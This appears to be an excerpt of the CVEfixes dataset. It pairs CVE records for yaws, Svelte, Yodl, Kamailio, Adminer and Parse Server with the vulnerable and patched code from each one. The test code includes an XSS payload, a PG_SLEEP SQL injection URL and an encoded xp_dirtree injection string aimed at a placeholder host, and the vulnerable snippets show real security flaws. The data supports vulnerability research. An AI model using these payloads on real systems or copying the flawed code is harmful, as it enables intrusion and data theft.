hitoshura25/cvefixes huggingface dataset:
CVE-2016-1000108 (Other, published 2019-12-10T15:15Z)
Description: value: yaws before 2.0.4 does not attempt to address RFC 3875 section 4.1.18 namespace conflicts and therefore does not protect CGI applications from the presence of untrusted client data in the HTTP_PROXY environment variable, which might allow remote attackers to redirect a CGI application's outbound HTTP traffic to an arbitrary proxy server via a crafted Proxy header in an HTTP request, aka an "httpoxy" issue.
Severity: MEDIUM (CVSS v3 base score: 6.1)
Weakness: CWE-601 \u2014 URL Redirection to Untrusted Site ('Open Redirect')
A web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. This simplifies phishing attacks.
Repository: https://github.com/klacke/yaws
Files changed:
src/yaws_cgi.erl
Commit message: Security flaw http://httpoxy.org/ fixed
A security flaw with HTTP_PROXY fixed. When we now construct the
cgi env variables, we just skip the Proxy header.
Reported by dominic@varspool.com


Vulnerable code:
           ]++lists:map(fun({http_header,_,Var,_,Val})->{tohttp(Var),Val} end,
                        H#headers.other)

Fixed code:
           ]++ other_headers(H#headers.other)
other_headers(Headers) ->
    lists:zf(fun({http_header,_,Var,_,Val}) ->
                     case tohttp(Var) of
                         "HTTP_PROXY" ->
                             %% See http://httpoxy.org/
                             false;
                         HTTP ->
                             {true, {HTTP,Val}}
                     end
             end, Headers).
CVE-2022-25875 (Other, published 2022-07-12T19:15Z)
Description: value: The package svelte before 3.49.0 are vulnerable to Cross-site Scripting (XSS) due to improper input sanitization and to improper escape of attributes when using objects during SSR (Server-Side Rendering). Exploiting this vulnerability is possible via objects with a custom toString() function.
Severity: MEDIUM (CVSS v3 base score: 6.1)
Weakness: CWE-79 \u2014 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
Repository: https://github.com/sveltejs/svelte
Files changed:
src/runtime/internal/ssr.ts
test/server-side-rendering/samples/attribute-escaped-quotes-spread/_expected.html
test/server-side-rendering/samples/attribute-escaped-quotes-spread/main.svelte
Commit message: [fix] harden attribute escaping during ssr (#7530)



Vulnerable code:
  while (pattern.test(str)) {
    const i = pattern.lastIndex - 1;
    const ch = str[i];
    escaped += str.substring(last, i) + (ch === '&' ? '&amp;' : (ch === '"' ? '&quot;' : '&lt;'));
    last = i + 1;
  }
	return typeof value === 'string' ? escape(value, true) : value;
	const assignment = (boolean && value === true) ? '' : `="${escape_attribute_value(value.toString())}"`;
></div>
<div {...props}></div>

Fixed code:
	while (pattern.test(str)) {
		const i = pattern.lastIndex - 1;
		const ch = str[i];
		escaped += str.substring(last, i) + (ch === '&' ? '&amp;' : (ch === '"' ? '&quot;' : '&lt;'));
		last = i + 1;
	}
	// keep booleans, null, and undefined for the sake of `spread`
	const should_escape = typeof value === 'string' || (value && typeof value === 'object');
	return should_escape ? escape(value, true) : value;
	const assignment = (boolean && value === true) ? '' : `="${escape(value, true)}"`;
	quux="&quot;><script>alert(42)</script>"
></div>

<div
	foo="foo"
	unsafe="&quot;><script>alert(42)</script>"
></div>
	const safe = { foo: 'foo' };
	const unsafe = { toString: () => '"><script>alert(42)<\/script>' };

		quux: unsafe
<div {...props}></div>
<div {...safe} {unsafe}></div>
CVE-2016-10375 (Other, published 2017-05-26T17:29Z)
Description: value: Yodl before 3.07.01 has a Buffer Over-read in the queue_push function in queue/queuepush.c.
Severity: HIGH (CVSS v3 base score: 9.8)
Weakness: CWE-119 \u2014 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Repository: https://github.com/fbb-git/yodl
Files changed:
yodl/VERSION
yodl/changelog
yodl/src/queue/queuepush.c
Commit message: fixed invalid memory reads detected by the address sanitizer


Vulnerable code:
#define VERSION "3.06.00"
#define YEARS   "1996-2015"
            memcpy(cp, qp->d_memory, memory_length);/* cp existing buffer   */

Fixed code:
#define VERSION "3.07.00"
#define YEARS   "1996-2016"
yodl (3.07.00)

  * Hanno B\"ock reported an invalid memory read found by the address sanitizer
    (using -fsanitize=address). Fixed in this release. The address santizer
    also reported some memory leaks which are not nice, but their fix will
    probably take some more time.

 -- Frank B. Brokken <f.b.brokken@rug.nl>  Thu, 04 Feb 2016 22:35:44 +0100

        size_t original_length = memory_length;


            memcpy(cp, qp->d_memory, original_length);/* cp existing buffer   */
CVE-2015-1590 (Unknown, published 2017-09-07T14:29Z)
Description: value: The kamcmd administrative utility and default configuration in kamailio before 4.3.0 use /tmp/kamailio_ctl.
Severity: MEDIUM (CVSS v3 base score: 7.8)
Weakness: CWE-264 \u2014 Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
Repository: https://github.com/kamailio/kamailio
Files changed:
Commit message: Merge pull request #89 from linuxmaniac/vseva/defaults

set defaults of fifo and ctl to /var/run/kamailio

Closes: #48
Closes: #89

Vulnerable code:

Fixed code:
CVE-2016-2385 (C, published 2016-04-11T15:59Z)
Description: value: Heap-based buffer overflow in the encode_msg function in encode_msg.c in the SEAS module in Kamailio (formerly OpenSER and SER) before 4.3.5 allows remote attackers to cause a denial of service (memory corruption and process crash) or possibly execute arbitrary code via a large SIP packet.
Severity: HIGH (CVSS v3 base score: 9.8)
Weakness: CWE-119 \u2014 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Repository: https://github.com/kamailio/kamailio
Files changed:
modules/seas/encode_msg.c
Commit message: seas: safety check for target buffer size before copying message in encode_msg()

- avoid buffer overflow for large SIP messages
- reported by Stelios Tsampas


Vulnerable code:

Fixed code:


	if(len < j + msg->len + 1) {
   	   LM_ERR("not enough space to encode sip message\n");
   	   return -1;
	}
CVE-2018-8828 (C, published 2018-03-20T20:29Z)
Description: value: A Buffer Overflow issue was discovered in Kamailio before 4.4.7, 5.0.x before 5.0.6, and 5.1.x before 5.1.2. A specially crafted REGISTER message with a malformed branch or From tag triggers an off-by-one heap-based buffer overflow in the tmx_check_pretran function in modules/tmx/tmx_pretran.c.
Severity: HIGH (CVSS v3 base score: 9.8)
Weakness: CWE-193 \u2014 Off-by-one Error
A product calculates or uses an incorrect maximum or minimum value that is 1 more, or 1 less, than the correct value.
Repository: https://github.com/kamailio/kamailio
Files changed:
src/modules/tmx/tmx_pretran.c
Commit message: tmx: allocate space to store ending 0 for branch value

- reported by Alfred Farrugia and Sandro Gauci


Vulnerable code:
		dsize += svbranch.len;

Fixed code:
		dsize += svbranch.len + 1;
CVE-2018-8828 (C, published 2018-03-20T20:29Z)
Description: value: A Buffer Overflow issue was discovered in Kamailio before 4.4.7, 5.0.x before 5.0.6, and 5.1.x before 5.1.2. A specially crafted REGISTER message with a malformed branch or From tag triggers an off-by-one heap-based buffer overflow in the tmx_check_pretran function in modules/tmx/tmx_pretran.c.
Severity: HIGH (CVSS v3 base score: 9.8)
Weakness: CWE-787 \u2014 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.
Repository: https://github.com/kamailio/kamailio
Files changed:
src/modules/tmx/tmx_pretran.c
Commit message: tmx: allocate space to store ending 0 for branch value

- reported by Alfred Farrugia and Sandro Gauci


Vulnerable code:
		dsize += svbranch.len;

Fixed code:
		dsize += svbranch.len + 1;
CVE-2020-27507 (C, published 2023-03-15T20:15Z)
Description: value: The Kamailio SIP before 5.5.0 server mishandles INVITE requests with duplicated fields and overlength tag, leading to a buffer overflow that crashes the server or possibly have unspecified other impact.
Severity: nan (CVSS v3 base score: 9.8)
Weakness: CWE-120 \u2014 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.
Repository: https://github.com/kamailio/kamailio
Files changed:
src/modules/tm/t_msgbuilder.c
Commit message: tm: do not add duplicate headers in local requests


Vulnerable code:

Fixed code:
	hdr_flags_t hdr_flags = 0;
				if(hdr_flags &  HDR_CSEQ_F) {
					LM_DBG("duplicate CSeq header\n");
					goto errorhdr;
				}
				hdr_flags |=  HDR_CSEQ_F;
				if(hdr_flags &  HDR_TO_F) {
					LM_DBG("duplicate To header\n");
					goto errorhdr;
				}
				hdr_flags |=  HDR_TO_F;

				/* copy hf */
				if(hdr_flags &  HDR_FROM_F) {
					LM_DBG("duplicate From header\n");
					goto errorhdr;
				}
				hdr_flags |=  HDR_FROM_F;
				s = lw_next_line(s, invite_buf_end);
				append_str(d, s1, s - s1);
				break;
				/* copy hf */
				if(hdr_flags &  HDR_CALLID_F) {
					LM_DBG("duplicate Call-Id header\n");
					goto errorhdr;
				}
				hdr_flags |=  HDR_CALLID_F;
				s = lw_next_line(s, invite_buf_end);
				append_str(d, s1, s - s1);
				break;
errorhdr:
CVE-2021-21311 (PHP, published 2021-02-11T21:15Z)
Description: value: Adminer is an open-source database management in a single PHP file. In adminer from version 4.0.0 and before 4.7.9 there is a server-side request forgery vulnerability. Users of Adminer versions bundling all drivers (e.g. `adminer.php`) are affected. This is fixed in version 4.7.9.
Severity: MEDIUM (CVSS v3 base score: 7.2)
Weakness: CWE-918 \u2014 Server-Side Request Forgery (SSRF)
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
Repository: https://github.com/vrana/adminer
Files changed:
adminer/drivers/clickhouse.inc.php
adminer/drivers/elastic.inc.php
changes.txt
Commit message: Elasticsearch, ClickHouse: Do not print response if HTTP code is not 200

Thanks to Adam Crosser and Brian Sizemore


Vulnerable code:
				$this->error = $file;
					$this->error = $file;

Fixed code:
				$this->error = lang('Invalid credentials.') . " $http_response_header[0]";
					$this->error = lang('Invalid credentials.') . " $http_response_header[0]";
Elasticsearch, ClickHouse: Do not print response if HTTP code is not 200
CVE-2021-29625 (PHP, published 2021-05-19T22:15Z)
Description: value: Adminer is open-source database management software. A cross-site scripting vulnerability in Adminer versions 4.6.1 to 4.8.0 affects users of MySQL, MariaDB, PgSQL and SQLite. XSS is in most cases prevented by strict CSP in all modern browsers. The only exception is when Adminer is using a `pdo_` extension to communicate with the database (it is used if the native extensions are not enabled). In browsers without CSP, Adminer versions 4.6.1 to 4.8.0 are affected. The vulnerability is patched in version 4.8.1. As workarounds, one can use a browser supporting strict CSP or enable the native PHP extensions (e.g. `mysqli`) or disable displaying PHP errors (`display_errors`).
Severity: MEDIUM (CVSS v3 base score: 6.1)
Weakness: CWE-79 \u2014 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
Repository: https://github.com/vrana/adminer
Files changed:
adminer/include/editing.inc.php
changes.txt
Commit message: Escape link in doc_link (bug #797)


Vulnerable code:
	return ($paths[$jush] ? "<a href='$urls[$jush]$paths[$jush]'" . target_blank() . ">$text</a>" : "");

Fixed code:
	return ($paths[$jush] ? "<a href='" . h($urls[$jush] . $paths[$jush]) . "'" . target_blank() . ">$text</a>" : "");
Internet Explorer or PDO in Adminer 4.7.8-4.8.0: Fix XSS in doc_link (bug #797)
CVE-2020-26288 (JavaScript, published 2020-12-30T20:15Z)
Description: value: Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. It is an npm package "parse-server". In Parse Server before version 4.5.0, user passwords involved in LDAP authentication are stored in cleartext. This is fixed in version 4.5.0 by stripping password after authentication to prevent cleartext password storage.
Severity: MEDIUM (CVSS v3 base score: 6.5)
Weakness: CWE-312 \u2014 Cleartext Storage of Sensitive Information
The product stores sensitive information in cleartext within a resource that might be accessible to another control sphere.
Repository: https://github.com/parse-community/parse-server
Files changed:
spec/LdapAuth.spec.js
src/Adapters/Auth/ldap.js
Commit message: Merge pull request from GHSA-4w46-w44m-3jq3

* strip password after authentication to prevent cleartext password storage

* fixed forgotten testcase forcing ;-/

* added test to check if password is not stored in user record

Co-authored-by: Fabian Strachanski <fabian@fastr.de>

Vulnerable code:

Fixed code:

it('Should delete the password from authData after validation', done => {
  mockLdapServer(port, 'uid=testuser, o=example', true).then(server => {
    const options = {
      suffix: 'o=example',
      url: `ldap://localhost:${port}`,
      dn: 'uid={{id}}, o=example'
    };

    const authData = { id: 'testuser', password: 'secret' };

    ldap
      .validateAuthData(authData, options)
      .then(() => {
        expect(authData).toEqual({ id: 'testuser' });
        done();
      })
      .catch(done.fail)
      .finally(() => server.close());
  });
});

it('Should not save the password in the user record after authentication', done => {
  mockLdapServer(port, 'uid=testuser, o=example', true).then(server => {
    const options = {
      suffix: 'o=example',
      url: `ldap://localhost:${port}`,
      dn: 'uid={{id}}, o=example'
    };
    reconfigureServer({ auth: { ldap: options } }).then(() => {
      const authData = { authData: { id: 'testuser', password: 'secret' } };
      Parse.User.logInWith('ldap', authData).then((returnedUser) => {
        const query = new Parse.Query("User");
        query
          .equalTo('objectId', returnedUser.id).first({ useMasterKey: true })
          .then((user) => {
            expect(user.get('authData')).toEqual({ ldap:{ id: 'testuser' }});
            expect(user.get('authData').ldap.password).toBeUndefined();
            done();
          })
          .catch(done.fail)
          .finally(() => server.close())
      })
    });
  });
});
      delete(authData.password);
CVE-2023-46119 (JavaScript, published 2023-10-25T18:17Z)
Description: value: Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Parse Server crashes when uploading a file without extension. This vulnerability has been patched in versions 5.5.6 and 6.3.1.


Severity: nan (CVSS v3 base score: 7.5)
Weakness: CWE-22 \u2014 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Repository: https://github.com/parse-community/parse-server
Files changed:
spec/ParseFile.spec.js
src/Routers/FilesRouter.js
Commit message: fix: Server crash when uploading file without extension; fixes security vulnerability [GHSA-792q-q67h-w579](https://github.com/parse-community/parse-server/security/advisories/GHSA-792q-q67h-w579) (#8781)



Vulnerable code:
      extension = extension.split(' ').join('');
      if (!isValidExtension(extension)) {

Fixed code:
    it('allows file without extension', async () => {
      await reconfigureServer({
        fileUpload: {
          enableForPublic: true,
          fileExtensions: ['^[^hH][^tT][^mM][^lL]?$'],
        },
      });
      const headers = {
        'X-Parse-Application-Id': 'test',
        'X-Parse-REST-API-Key': 'rest',
      };

      const values = ['filenamewithoutextension'];

      for (const value of values) {
        await expectAsync(
          request({
            method: 'POST',
            headers: headers,
            url: `http://localhost:8378/1/files/${value}`,
            body: '<html></html>\n',
          }).catch(e => {
            throw new Error(e.data.error);
          })
        ).toBeResolved();
      }
    });

      extension = extension?.split(' ')?.join('');
      if (extension && !isValidExtension(extension)) {
CVE-2024-27298 (JavaScript, published 2024-03-01T18:15Z)
Description: value: parse-server is a Parse Server for Node.js / Express. This vulnerability allows SQL injection when Parse Server is configured to use the PostgreSQL database. The vulnerability has been fixed in 6.5.0 and 7.0.0-alpha.20.

Severity: nan (CVSS v3 base score: )
Weakness: NVD-CWE-noinfo \u2014 Insufficient Information
There is insufficient information about the issue to classify it; details are unkown or unspecified.
Repository: https://github.com/parse-community/parse-server
Files changed:
spec/vulnerabilities.spec.js
src/Adapters/Storage/Postgres/PostgresStorageAdapter.js
Commit message: fix: Improve PostgreSQL injection detection; fixes security vulnerability [GHSA-6927-3vr9-fxf2](https://github.com/parse-community/parse-server/security/advisories/GHSA-6927-3vr9-fxf2) which affects Parse Server deployments using a Postgres database (#8961)



Vulnerable code:
    .replace(/([^'])'/, `$1''`)

Fixed code:

describe('Postgres regex sanitizater', () => {
  it('sanitizes the regex correctly to prevent Injection', async () => {
    const user = new Parse.User();
    user.set('username', 'username');
    user.set('password', 'password');
    user.set('email', 'email@example.com');
    await user.signUp();

    const response = await request({
      method: 'GET',
      url:
        "http://localhost:8378/1/classes/_User?where[username][$regex]=A'B'%3BSELECT+PG_SLEEP(3)%3B--",
      headers: {
        'Content-Type': 'application/json',
        'X-Parse-Application-Id': 'test',
        'X-Parse-REST-API-Key': 'rest',
      },
    });

    expect(response.status).toBe(200);
    expect(response.data.results).toEqual(jasmine.any(Array));
    expect(response.data.results.length).toBe(0);
  });
});
    .replace(/([^'])'/g, `$1''`)
CVE-2024-29027 (JavaScript, published 2024-03-19T19:15Z)
Description: value: Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to versions 6.5.5 and 7.0.0-alpha.29, calling an invalid Parse Server Cloud Function name or Cloud Job name crashes the server and may allow for code injection, internal store manipulation or remote code execution. The patch in versions 6.5.5 and 7.0.0-alpha.29 added string sanitation for Cloud Function name and Cloud Job name. As a workaround, sanitize the Cloud Function name and Cloud Job name before it reaches Parse Server.
Severity: nan (CVSS v3 base score: )
Weakness: NVD-CWE-noinfo \u2014 Insufficient Information
There is insufficient information about the issue to classify it; details are unkown or unspecified.
Repository: https://github.com/parse-community/parse-server
Files changed:
spec/ParseHooks.spec.js
src/triggers.js
Commit message: fix: Server crashes on invalid Cloud Function or Cloud Job name; fixes security vulnerability [GHSA-6hh7-46r2-vf29](https://github.com/parse-community/parse-server/security/advisories/GHSA-6hh7-46r2-vf29) (#9024)



Vulnerable code:
      return undefined;

Fixed code:

describe('sanitizing names', () => {
  const invalidNames = [
    `test'%3bdeclare%20@q%20varchar(99)%3bset%20@q%3d'%5c%5cxxxxxxxxxxxxxxx.yyyyy'%2b'fy.com%5cxus'%3b%20exec%20master.dbo.xp_dirtree%20@q%3b--%20`,
    `test.function.name`,
  ];

  it('should not crash server and return error on invalid Cloud Function name', async () => {
    for (const invalidName of invalidNames) {
      let error;
      try {
        await Parse.Cloud.run(invalidName);
      } catch (err) {
        error = err;
      }
      expect(error).toBeDefined();
      expect(error.message).toMatch(/Invalid function/);
    }
  });

  it('should not crash server and return error on invalid Cloud Job name', async () => {
    for (const invalidName of invalidNames) {
      let error;
      try {
        await Parse.Cloud.startJob(invalidName);
      } catch (err) {
        error = err;
      }
      expect(error).toBeDefined();
      expect(error.message).toMatch(/Invalid job/);
    }
  });
});
  const invalidNameRegex = /['"`]/;
  if (invalidNameRegex.test(name)) {
    // Prevent a malicious user from injecting properties into the store
    return {};
  }

      return {};